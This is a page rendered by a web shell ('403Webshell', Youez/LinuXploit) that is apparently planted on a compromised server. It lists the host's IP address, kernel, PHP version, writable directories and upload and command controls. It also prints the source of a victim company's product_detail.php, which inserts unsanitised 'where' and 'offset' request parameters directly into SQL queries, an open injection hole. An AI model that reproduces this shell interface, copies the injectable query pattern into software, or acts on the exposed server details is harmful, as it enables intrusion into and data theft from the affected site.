403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/(Del)yunfung.com.hk/en/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/(Del)yunfung.com.hk/en/product_detail.php
<?php require("configure.php"); ?>
<!-- One Solution Limited -->
<?
//$productname	= $_GET["productname"];
$offset			= $_GET["offset"];
$where			= $_GET["where"];
$catid			= (int)$_GET["catid"];
?>
<html>
<head>
<title>Yun Fung Metal Industrial Limited</title>
<meta http-equiv="Content-Type" content="text/html; charset=big5" />
<link rel="stylesheet" href="style.css">
<script type="text/javascript" src="flash/objectSwap.js"></script>
<script language="javascript"><!--
function popupWindow(url) {
  window.open(url,'popupWindow','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=yes,copyhistory=no,width=600,height=450,screenX=150,screenY=150,top=150,left=150')
}
//--></script>
</head>
<body bgcolor="#CFCEE1" LEFTMARGIN="0" TOPMARGIN="0" style="background-repeat:repeat-x" background="image/page_bg.png">
<table width="800" border="0" cellpadding="0" cellspacing="0">
  <tr>
    <td width="800" height="265"><?php require("header.php"); ?></td>
  </tr>
  <tr>
    <td style="padding-top:10;padding-bottom:20"><table width="800" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td width="480"><img src="image/page_title_line.gif" width="480" height="60"></td>
		<?
			$sql = "SELECT * ";
			$sql .= "FROM products inner join category ";
			$sql .= "on products.catid = category.catid ";
			$sql .= "where products.catid = ". $catid ." ";
			$result1 = mysql_query($sql);
			$row = mysql_fetch_array($result1,MYSQL_ASSOC);
		?>
        <td width="320" valign="middle" class="title"><?=$row{'catname'}?></td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td align="left" valign="top"><table width="800" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td width="180" align="left" valign="top" style="padding-top:20"><table width="180" border="0" cellpadding="0" cellspacing="0">
          <!--Sub Menu-->
			<?php
				$sql = "SELECT * ";
				$sql .= "FROM category ";
				$sql .= "WHERE category.catid";

				//echo $sql;
				$result = mysql_query($sql);
				$x=1;
				while ($row = mysql_fetch_array($result,MYSQL_ASSOC))
				{
					
					print "<tr><td valign='top'>";
					//$knowledgeDoc = $row{'knowledgeDoc'};

					print '<a class="submenu" href="product_detail.php?catid='. $row{'catid'} .'" >'.$row{'catname'}.'</a>';

					print "</td></tr>";
					print "<tr><td>";
					print "<img src='image/sub_menu_line.gif' width='180' height='7'>";
				  	print "</td></tr>";
					$x = $x +1;				
				}
				?>
        </table></td>
        <td width="620" height="400" align="right" valign="top"><table width="600" border="0" cellpadding="0" cellspacing="0">
		  <tr>
		  	<td valign="top" align="left">
			
			<table border="0" cellpadding="0" cellspacing="0">
<?
									$limit=9; 
									if (!$offset) $offset=0;

									if (strlen($where)==0)
									{
										if (strlen($catid)<>0)
										{
											$query_where .= "and products.catid = ". $catid ." ";
										}
									}
									else
									{
										$query_where = $where;
									}
									if (!$where) {
										if (empty($one) || empty($two)) {
										}
										$where=$query_where;
									}

									$sqlx = "select count(*) ";
									$sqlx .= "FROM products inner join category ";
									$sqlx .= "on products.catid = category.catid ";
									$sqlx .= "$query_where ";
									$sqlx = str_replace('\\','',$sqlx);
									$result=mysql_query($sqlx);

									list($numrec)=mysql_fetch_row($result);

									$numpage=intval($numrec/$limit);

									if ($numrec%$limit) {
										$numpage++; // add one page if remainder
									}

									//echo "numpage:". $numpage;
?>
								<tr><td colspan="3"><?include("pagenav.php");?></td></tr>
  								<!--start here-->
									<?
										$sql = "SELECT * ";
										$sql .= "FROM products inner join category ";
										$sql .= "on products.catid = category.catid ";
										//$sql .= "where dynasty.products.catid = ". $catid ." ";
										$sql .= "$query_where ";
										$sql .= "order by products.catid ";
										$sql .= "limit $offset,$limit";

										//echo $sql;
									$x = 1;
									$y = 1;

										echo "<tr>";
										$result1 = mysql_query($sql);
										//$row = mysql_fetch_array($result1,MYSQL_ASSOC);
										while ($row = mysql_fetch_array($result1,MYSQL_ASSOC))
										{
											//$bgcolor="#EAEAEA";
											if ($y == 1)
											{
											}
											elseif ($y == 4)
												echo "<tr>";
											elseif ($y == 7)
												echo "<tr>";
												
											?>
											<td width="600" style="padding-top:5;padding-bottom:15;padding-left:5;padding-right:5" valign="top" align="left">
												<a href="javascript:popupWindow('..\\product\\<?=$row{'image'}?>')">
												<img src="..\product\<?=$row{'image'}?>" border='0' width='165' height='110' class="image"></a>											</td>
									<?
											if ($y == 3)
												echo "</tr>";
											elseif ($y == 6)
												echo "</tr>";
											elseif ($y == 9)
												echo "</tr>";
											$y = $y + 1;
										}
										echo "</td></tr>";
									?>
								<!--end here-->                          
                  </table>
			</td>
		  </tr>
        </table></td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td height="45" align="right"><p class="footer">Copyright &copy; 2009 Yun Fung Metal Industrial Limited. All Rights reserved. </p>    </td>
  </tr>
</table>
</body>

</html>

Youez - 2016 - github.com/yon3zu
LinuXploit